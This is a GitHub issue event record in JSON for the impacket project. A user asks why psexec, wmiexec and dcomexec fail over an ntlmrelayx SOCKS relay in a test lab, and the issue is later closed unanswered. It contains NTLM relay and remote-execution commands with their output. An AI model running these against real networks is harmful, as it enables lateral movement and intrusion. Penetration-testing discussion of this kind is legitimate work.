{"action":"created","issue":{"url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/412","repository_url":"https://api.github.com/repos/SecureAuthCorp/impacket","labels_url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/412/labels{/name}","comments_url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/412/comments","events_url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/412/events","html_url":"https://github.com/SecureAuthCorp/impacket/issues/412","id":308726280,"node_id":"MDU6SXNzdWUzMDg3MjYyODA=","number":412,"title":"Code execution over ntlmrelayx socks connection","user":{"login":"Gilks","id":11075149,"node_id":"MDQ6VXNlcjExMDc1MTQ5","avatar_url":"https://avatars1.githubusercontent.com/u/11075149?v=4","gravatar_id":"","url":"https://api.github.com/users/Gilks","html_url":"https://github.com/Gilks","followers_url":"https://api.github.com/users/Gilks/followers","following_url":"https://api.github.com/users/Gilks/following{/other_user}","gists_url":"https://api.github.com/users/Gilks/gists{/gist_id}","starred_url":"https://api.github.com/users/Gilks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Gilks/subscriptions","organizations_url":"https://api.github.com/users/Gilks/orgs","repos_url":"https://api.github.com/users/Gilks/repos","events_url":"https://api.github.com/users/Gilks/events{/privacy}","received_events_url":"https://api.github.com/users/Gilks/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":8,"created_at":"2018-03-26T20:38:02Z","updated_at":"2018-11-20T19:06:14Z","closed_at":"2018-11-20T19:06:14Z","author_association":"NONE","body":"When using ntlmrelayx.py and the -socks argument, users are able to reuse captured connections over socks. I'm able to use various impacket tools such as secretsdump.py or even [enumerid](https://github.com/Gilks/enumerid).\r\n\r\nExample:\r\n`ntlmrelayx.py -t 172.20.220.217 -smb2support -socks`\r\n\r\nHowever, I am not able to use any of the following tools (see below) with proxychains4 using the socks tunnel on 1080. This is in a dev environment where I explicitly enabled the built-in Administrator account for testing. \r\n\r\nSo my question two questions are:\r\n- Assuming the user is an Administrator- are you able to get code execution on machines where a socks connection has been established?\r\n\r\n- Is it possible to re-initiate an SMB connection over the socks tunnel to your attacking machine and relay it to additional hosts? The consequences of this would be pretty intense.\r\n\r\n1. psexec.py\r\n```\r\n>> proxychains4 python psexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                            16:25:02\r\n[proxychains] config file found: /etc/proxychains.conf\r\n[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so\r\n[proxychains] DLL init: proxychains-ng 4.11\r\nImpacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies\r\n\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK\r\n[-] Authenticated as Guest. Aborting\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK\r\n\r\n```\r\n2. wmiexec.py\r\n```\r\n>> proxychains4 python wmiexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                           16:28:38\r\n[proxychains] config file found: /etc/proxychains.conf\r\n[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so\r\n[proxychains] DLL init: proxychains-ng 4.11\r\nImpacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies\r\n\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK\r\n[*] SMBv3.0 dialect used\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:135 <--denied\r\n[-] Could not connect: [Errno 111] Connection refused\r\n\r\n```\r\n3. dcomexec.py\r\n\r\n```\r\n>> proxychains4 python dcomexec.py WORKGROUP/Administrator@172.20.220.217 -no-pass                                                                          16:28:44\r\n[proxychains] config file found: /etc/proxychains.conf\r\n[proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so\r\n[proxychains] DLL init: proxychains-ng 4.11\r\nImpacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies\r\n\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:445  ...  OK\r\n[*] SMBv3.0 dialect used\r\n[proxychains] Strict chain  ...  0.0.0.0:1080  ...  172.20.220.217:135 <--denied\r\n[-] Could not connect: [Errno 111] Connection refused\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/comments/440393833","html_url":"https://github.com/SecureAuthCorp/impacket/issues/412#issuecomment-440393833","issue_url":"https://api.github.com/repos/SecureAuthCorp/impacket/issues/412","id":440393833,"node_id":"MDEyOklzc3VlQ29tbWVudDQ0MDM5MzgzMw==","user":{"login":"asolino","id":11577828,"node_id":"MDQ6VXNlcjExNTc3ODI4","avatar_url":"https://avatars2.githubusercontent.com/u/11577828?v=4","gravatar_id":"","url":"https://api.github.com/users/asolino","html_url":"https://github.com/asolino","followers_url":"https://api.github.com/users/asolino/followers","following_url":"https://api.github.com/users/asolino/following{/other_user}","gists_url":"https://api.github.com/users/asolino/gists{/gist_id}","starred_url":"https://api.github.com/users/asolino/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/asolino/subscriptions","organizations_url":"https://api.github.com/users/asolino/orgs","repos_url":"https://api.github.com/users/asolino/repos","events_url":"https://api.github.com/users/asolino/events{/privacy}","received_events_url":"https://api.github.com/users/asolino/received_events","type":"User","site_admin":false},"created_at":"2018-11-20T19:06:14Z","updated_at":"2018-11-20T19:06:14Z","author_association":"CONTRIBUTOR","body":"No answer, closing."}}
{"actor":{"display_login":"asolino"}}